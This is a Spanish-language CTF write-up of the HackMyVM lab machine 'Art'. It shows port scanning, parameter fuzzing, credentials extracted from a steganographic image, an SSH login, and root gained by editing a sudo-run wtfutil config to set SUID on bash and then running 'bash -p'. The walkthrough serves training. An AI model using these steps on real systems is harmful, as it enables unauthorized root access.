Post

ART WRITEUP HACKMYVM.

Resolución de la máquina art de Hackmyvm.

Información:

Autor:sml
Fecha de creacion:2022-08-04
Dificultad:Easy

Reconocimiento y enumeración

Primero hacemos el reconocimiento de los puertos que contienen la maquina

1
sudo nmap -p- --open -sS --min-rate 5000 -n -Pn -vvv -oG allPorts.txt 192.168.1.116
ArgumentoDescripción
-p-Escanea todos los puertos, en total 65535
–openFiltrar por los puertos abiertos.
-sSEscaneo SYN Port.
–min-rate XIntervalo mínimo de tiempo para el envió de paquetes.
-nNo realizar resolución DNS (Domain Name Server).
-PnNo realizar Host Discovery (No determinar si el host esta vivo).
-vvvNivel de verbose (Información mas detallada).
-oGGuardar los resultados en un archivo con facilidad de buscar palabras (grep)

Vemos que tenemos los siguientes puertos abiertos:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
Starting Nmap 7.95 ( https://nmap.org ) at 2024-07-21 13:31 CST
Initiating ARP Ping Scan at 13:31
Scanning 192.168.1.116 [1 port]
Completed ARP Ping Scan at 13:31, 0.04s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 13:31
Scanning 192.168.1.116 [65535 ports]
Discovered open port 22/tcp on 192.168.1.116
Discovered open port 80/tcp on 192.168.1.116
Completed SYN Stealth Scan at 13:31, 0.61s elapsed (65535 total ports)
Nmap scan report for 192.168.1.116
Host is up, received arp-response (0.00031s latency).
Scanned at 2024-07-21 13:31:20 CST for 1s
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 64
80/tcp open  http    syn-ack ttl 64
MAC Address: 00:0C:29:93:27:2A (VMware)

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.72 seconds
           Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB)

Ahora obtendremos el detalle de los servicios que se están ejecutando en los puertos:

1
sudo nmap -p22,80 -sCV 192.168.1.116 -oN openServices.txt
ArgumentoDescripción
-pDefinir los puertos a escanear
-sCVCombina el script de detección de versiones y ejecución de scripts predeterminados de nmap (NSE)
-oNGenera un archivo con los resultados con una salida legible

Tenemos como resultado los servicios que están expuestos, un nginx y ssh.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Starting Nmap 7.95 ( https://nmap.org ) at 2024-07-21 13:35 CST
Nmap scan report for 192.168.1.116 (192.168.1.116)
Host is up (0.00013s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
|   3072 45:42:0f:13:cc:8e:49:dd:ec:f5:bb:0f:58:f4:ef:47 (RSA)
|   256 12:2f:a3:63:c2:73:99:e3:f8:67:57:ab:29:52:aa:06 (ECDSA)
|_  256 f8:79:7a:b1:a8:7e:e9:97:25:c3:40:4a:0c:2f:5e:69 (ED25519)
80/tcp open  http    nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
MAC Address: 00:0C:29:93:27:2A (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.35 seconds

Cuando nos dirigimos al navegador y vemos la web expuesta en el puerto 80 vemos una galería de imágenes:

galeria

Haremos búsqueda de directorios por fuerza bruta con gobuster e incluiremos búsqueda por extensiones de archivos:

1
gobuster dir -u http://192.168.1.116 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,php,txt,jpg,xml
ArgumentoDescripción
-uDefinir la dirección url
-wDefinir la ruta de la wordlist (diccionario)
-xRealizar búsqueda por extensiones de archivos

Encontramos un archivo index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.1.116
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              txt,jpg,xml,html,php
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.php            (Status: 200) [Size: 170]
Progress: 1323354 / 1323360 (100.00%)
===============================================================
Finished
===============================================================

Esto no nos dice mucho, por que utilizaremos ffuf para obtener mas información

1
ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words-lowercase.txt -u http://192.168.1.116/index.php\?FUZZ\=id -fs 170
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0
________________________________________________

 :: Method           : GET
 :: URL              : http://192.168.1.116/index.php?FUZZ=id
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/raft-medium-words-lowercase.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 170
________________________________________________

tag                     [Status: 200, Size: 70, Words: 11, Lines: 5, Duration: 16ms]
:: Progress: [56293/56293] :: Job [1/1] :: 3571 req/sec :: Duration: [0:00:16] :: Errors: 0 ::

Vemos el código fuente de la pagina y vemos que menciona algo relacionado al tag

pagecode

Volvemos a hacer una búsqueda por la palabra tag:

1
ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-large-words-lowercase.txt -u http://192.168.1.116/index.php\?tag\=FUZZ -fs 70

Vemos que tenemos dos coincidencias:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0
________________________________________________

 :: Method           : GET
 :: URL              : http://192.168.1.116/index.php?tag=FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/raft-large-words-lowercase.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 70
________________________________________________

0                       [Status: 200, Size: 170, Words: 15, Lines: 5, Duration: 11ms]
beauty                  [Status: 200, Size: 93, Words: 12, Lines: 5, Duration: 10ms]
beautiful               [Status: 200, Size: 170, Words: 15, Lines: 5, Duration: 11ms]
:: Progress: [107982/107982] :: Job [1/1] :: 3448 req/sec :: Duration: [0:00:30] :: Errors: 0 ::

Nos dirigimos a la pagina y hacemos la búsqueda por http://192.168.1.116/index.php?tag=beauty

goat

Realizamos una consulta para saber el archivo que contiene el index.php

1
curl -s http://192.168.1.116/index.php\?tag\=beauty | cat

Vemos que el archivo es dsa32.jpg

1
2
3
4
5
6
7
8
───────┬─────────────────────────────────────────────────────────────────────────────────────────────────────────────
       │ STDIN
───────┼─────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1   │ SEE HMV GALLERY!
   2   │ <br>
   3   │  <img src=dsa32.jpg><br>
   4   │ <!-- Need to solve tag parameter problem. -->
───────┴─────────────────────────────────────────────────────────────────────────────────────────────────────────────

Procedemos a descargar la imagen y analizarla con StegSeek

1
2
3
4
5
curl -O http://192.168.1.116/dsa32.jpg

  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 4066k  100 4066k    0     0   177M      0 --:--:-- --:--:-- --:--:--  180M

Intrusión

Utilizamos la herramienta de stegseek, que nos ayudara a extraer dato ocultos mediante la tecnica de esteganografia

1
stegseek dsa32.jpg -wl /usr/share/dict/rockyou.txt

Ha encontrado un archivo oculto llamdo yes.txt, el resultado nos lo guarda en el archivo dsa32.jpg.out

1
2
3
4
5
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek

[i] Found passphrase: ""
[i] Original filename: "yes.txt".
[i] Extracting to "dsa32.jpg.out".

Procedemos a leer el contenido del archivo

1
cat dsa32.jpg.out

Al leer el contenido del fichero vemos lo que parece ser un usuario y una contraseña

1
2
3
4
5
───────┬─────────────────────────────────────────────────────────────────────────────────────────────────────────────
       │ File: dsa32.jpg.out
───────┼─────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1   │ lion/shel0vesyou
───────┴─────────────────────────────────────────────────────────────────────────────────────────────────────────────

Recordamos que tenemos habilitado el puerto ssh, por lo que entramos con las credenciales que obtuvimos.

1
 ssh lion@192.168.1.16

Nos permite entrar como el usuario lion

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
The authenticity of host '192.168.1.116 (192.168.1.116)' can't be established.
ED25519 key fingerprint is SHA256:6icD/Bw7zNCkO/tjgVhzyYMGZkZVKkOvOlpNVvcBQo0.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.1.116' (ED25519) to the list of known hosts.
lion@192.168.1.116's password:
Linux art 5.10.0-16-amd64 #1 SMP Debian 5.10.127-2 (2022-07-23) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Aug  3 11:18:18 2022 from 192.168.1.51
lion@art:~$

Leemos el contenido de la flag para el usuario.

1
cat user.txt

Escalada de privilegios

Dentro de la enumeración utilizamos el comando sudo -l donde:

ArgumentoDescripción
sudoPrograma “super user do” que permite ejecutar comando con permisos de otro usuario, normalmente como el usuario root.
-lLista privilegios de usuario o chequea un comando especifico; usar dos veces para formato extenso.
1
2
3
4
5
6
lion@art:~$ sudo -l
Matching Defaults entries for lion on art:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User lion may run the following commands on art:
    (ALL : ALL) NOPASSWD: /bin/wtfutil

Vemos que el usuario lion tiene acceso al binario /bin/wtfutil sin necesidad de utilizar la contraseña. Al ejecutar el binario nos muestra lo siguiente:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
┌─ ~/.config/wtf/config.yml 1 ─┐┌────────── Clocks A ──────────┐┌────────── Clocks B ──────────┐
│                              ││ Toronto      01:13 EDT   Jul ││ Barcelona    07:13 CEST  Jul │
│wtf:                          ││ Vancouver    22:13 PDT   Jul ││ Dubai        09:13 +04   Jul │
│  colors:                     ││                              ││ Paris        07:13 CEST  Jul │
│    border:                   ││                              ││                              │
│      focusable: darkslateblue││                              ││                              │
│      focused: orange         ││                              ││                              │
│      normal: gray            ││                              ││                              │
│  grid:                       ││                              ││                              │
│    columns: [32, 32, 32, 32, │└──────────────────────────────┘└──────────────────────────────┘
│    rows: [10, 10, 10, 4, 4, 9│┌─────────────────────── Feed Reader 2 ────────────────────────┐
│  refreshInterval: 1          ││ 1. Venezuela's Maduro declared winner in disputed vote       │
│  mods:                       ││ 2. Politics to roar back at Westminster in blame game over fu│
│    clocks_a:                 ││ 3. Mum's school CCTV plea after autistic son attacked        │
│      colors:                 ││ 4. Complex life on Earth may be much older than thought      │
│        rows:                 ││ 5. 'Contender, ready!' - original voice of Gladiators stilled│
│          even: "lightblue"   ││ 6. Inquiry after police appear to join GAA celebrations      │
│          odd: "white"        ││ 7. Woman dies after attack while walking dog                 │
│      enabled: true           ││ 8. Reeves to axe projects to plug budget black hole          │
│      locations:              │└──────────────────────────────────────────────────────────────┘
│        Vancouver: "America/Va│┌─────────── IPInfo ───────────┐┌───────────── ⚡️ ─────────────┐
│        Toronto: "America/Toro││       IP 1305:309e:a:3429:20x││         Source:              │
│      position:               ││ Hostname                     ││unknown                       │
│        top: 0                ││     City Tequisquiapan       ││                              │
│        left: 1               ││   Region Hidalgo             ││                              │
│        height: 1             ││  Country MX                  ││                              │
│        width: 1              ││      Loc 20.3489,-28.2848    ││                              │
│      refreshInterval: 15     ││      Org AS8151 UNINET       ││                              │
│      sort: "alphabetical"    ││                              ││                              │
│      title: "Clocks A"       │└──────────────────────────────┘└──────────────────────────────┘
│      type: "clocks"          │┌────────────────────────── uptime 3 ──────────────────────────┐
│    clocks_b:                 ││exit status 1                                                 │
│      colors:                 ││                                                              │
└──────────────────────────────┘└──────────────────────────────────────────────────────────────┘

Por lo que podemos ver en el dashboard wtfutil tiene un archivo de configuración bajo la ruta ~/.config/wtf/config.yml y este ejecuta el comando uptime en la parte inferior del dashboard.

Procedemos a ver el archivo de configuración:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
wtf:
  colors:
    border:
      focusable: darkslateblue
      focused: orange
      normal: gray
  grid:
    columns: [32, 32, 32, 32, 90]
    rows: [10, 10, 10, 4, 4, 90]
  refreshInterval: 1
  mods:
    clocks_a:
      colors:
        rows:
          even: "lightblue"
          odd: "white"
      enabled: true
      locations:
        Vancouver: "America/Vancouver"
        Toronto: "America/Toronto"
      position:
        top: 0
        left: 1
        height: 1
        width: 1
      refreshInterval: 15
      sort: "alphabetical"
      title: "Clocks A"
      type: "clocks"
    clocks_b:
      colors:
        rows:
          even: "lightblue"
          odd: "white"
      enabled: true
      locations:
        Paris: "Europe/Paris"
        Barcelona: "Europe/Madrid"
        Dubai: "Asia/Dubai"
      position:
        top: 0
        left: 2
        height: 1
        width: 1
      refreshInterval: 15
      sort: "alphabetical"
      title: "Clocks B"
      type: "clocks"
    feedreader:
      enabled: true
      feeds:
      - http://feeds.bbci.co.uk/news/rss.xml
      feedLimit: 10
      position:
        top: 1
        left: 1
        width: 2
        height: 1
      refreshInterval: 14400
    ipinfo:
      colors:
        name: "lightblue"
        value: "white"
      enabled: true
      position:
        top: 2
        left: 1
        height: 1
        width: 1
      refreshInterval: 150
    power:
      enabled: true
      position:
        top: 2
        left: 2
        height: 1
        width: 1
      refreshInterval: 15
      title: "⚡️"
    textfile:
      enabled: true
      filePath: "~/.config/wtf/config.yml"
      format: true
      position:
        top: 0
        left: 0
        height: 4
        width: 1
      refreshInterval: 30
      wrapText: false
    uptime:
      args: [""]
      cmd: "uptime"
      enabled: true
      position:
        top: 3
        left: 1
        height: 1
        width: 2
      refreshInterval: 30
      type: cmdrunner

Identificamos que existe la posibilidad de introducir comandos en la linea cmd: uptime, por lo que probaremos cambiando los permisos del binario bash con los permisos 4755. Donde:

NumeroPermisoNotación
4sEl archivo es SUID.
7rwxPermisos de lectura, escritura, ejecución.
5r-xLectura y ejecución.
1
2
3
4
5
6
7
8
9
10
11
uptime:
      args: ["4755" , "/usr/bin/bash"]
      cmd: "chmod"
      enabled: true
      position:
        top: 3
        left: 1
        height: 1
        width: 2
      refreshInterval: 30
      type: cmdrunner

Previamente a la ejecución obtenemos los permisos asociados a /usr/bin/bash

1
2
lion@art:~$ ls -l $(which bash)
-rwxr-xr-x 1 root root 1234376 mar 27  2022 /usr/bin/bash

ejecutamos de nuevo como usuario root con la modificación aplicada.

1
sudo -u root /bin/wtfutil --config=/home/lion/.config/wtf/config.yml

Vemos que el comando se ha ejecutado correctamente

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
┌─ ~/.config/wtf/config.yml 1 ─┐┌────────── Clocks A ──────────┐┌────────── Clocks B ──────────┐
│                              ││ Toronto      01:37 EDT   Jul ││ Barcelona    07:37 CEST  Jul │
│wtf:                          ││ Vancouver    22:37 PDT   Jul ││ Dubai        09:37 +04   Jul │
│  colors:                     ││                              ││ Paris        07:37 CEST  Jul │
│    border:                   ││                              ││                              │
│      focusable: darkslateblue││                              ││                              │
│      focused: orange         ││                              ││                              │
│      normal: gray            ││                              ││                              │
│  grid:                       ││                              ││                              │
│    columns: [32, 32, 32, 32, │└──────────────────────────────┘└──────────────────────────────┘
│    rows: [10, 10, 10, 4, 4, 9│┌─────────────────────── Feed Reader 2 ────────────────────────┐
│  refreshInterval: 1          ││ 1. Venezuela's Maduro declared winner in disputed vote       │
│  mods:                       ││ 2. Chris Mason: Politics roars back in blame game over fundin│
│    clocks_a:                 ││ 3. Mum's school CCTV plea after autistic son attacked        │
│      colors:                 ││ 4. Complex life on Earth may be much older than thought      │
│        rows:                 ││ 5. Inquiry after police appear to join Gaelic football celebr│
│          even: "lightblue"   ││ 6. Woman dies after attack while walking dog                 │
│          odd: "white"        ││ 7. Reeves to axe projects to plug budget black hole          │
│      enabled: true           ││ 8. Kemi Badenoch announces bid to become Tory leader         │
│      locations:              │└──────────────────────────────────────────────────────────────┘
│        Vancouver: "America/Va│┌─────────── IPInfo ───────────┐┌───────────── ⚡️ ─────────────┐
│        Toronto: "America/Toro││       IP 1305:309e:a:3429:20x││         Source:              │
│      position:               ││ Hostname                     ││unknown                       │
│        top: 0                ││     City Tequisquiapan       ││                              │
│        left: 1               ││   Region Hidalgo             ││                              │
│        height: 1             ││  Country MX                  ││                              │
│        width: 1              ││      Loc 20.3489,-28.2848    ││                              │
│      refreshInterval: 15     ││      Org AS8151 UNINET       ││                              │
│      sort: "alphabetical"    ││                              ││                              │
│      title: "Clocks A"       │└──────────────────────────────┘└──────────────────────────────┘
│      type: "clocks"          │┌───────────────── chmod 4755 /usr/bin/bash 3 ─────────────────┐
│    clocks_b:                 ││exit status 1                                                 │
│      colors:                 ││                                                              │
└──────────────────────────────┘└──────────────────────────────────────────────────────────────┘

Obtenemos nuevamente los permisos asociados a /usr/bin/bash

1
2
lion@art:~$ ls -l $(which bash)
-rwsr-xr-x 1 root root 1234376 mar 27  2022 /usr/bin/bash

Pwned

Procedemos a escalar privilegios con el comando /usr/bin/bash -P

ArgumentoDescripción
/usr/bin/bashRuta del binario de bash
-pGenerar una nueva shell con privilegios de administrador
1
2
3
4
5
lion@art:~$ /usr/bin/bash -p
bash-5.1# id
uid=1000(lion) gid=1000(lion) euid=0(root) grupos=1000(lion),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev)
bash-5.1# whoami
root

Buscamos la bandera de la cuenta root con find

1
2
$ find / -name "root.txt" 2>/dev/null
/var/opt/root.txt
This post is licensed under CC BY 4.0 by the author.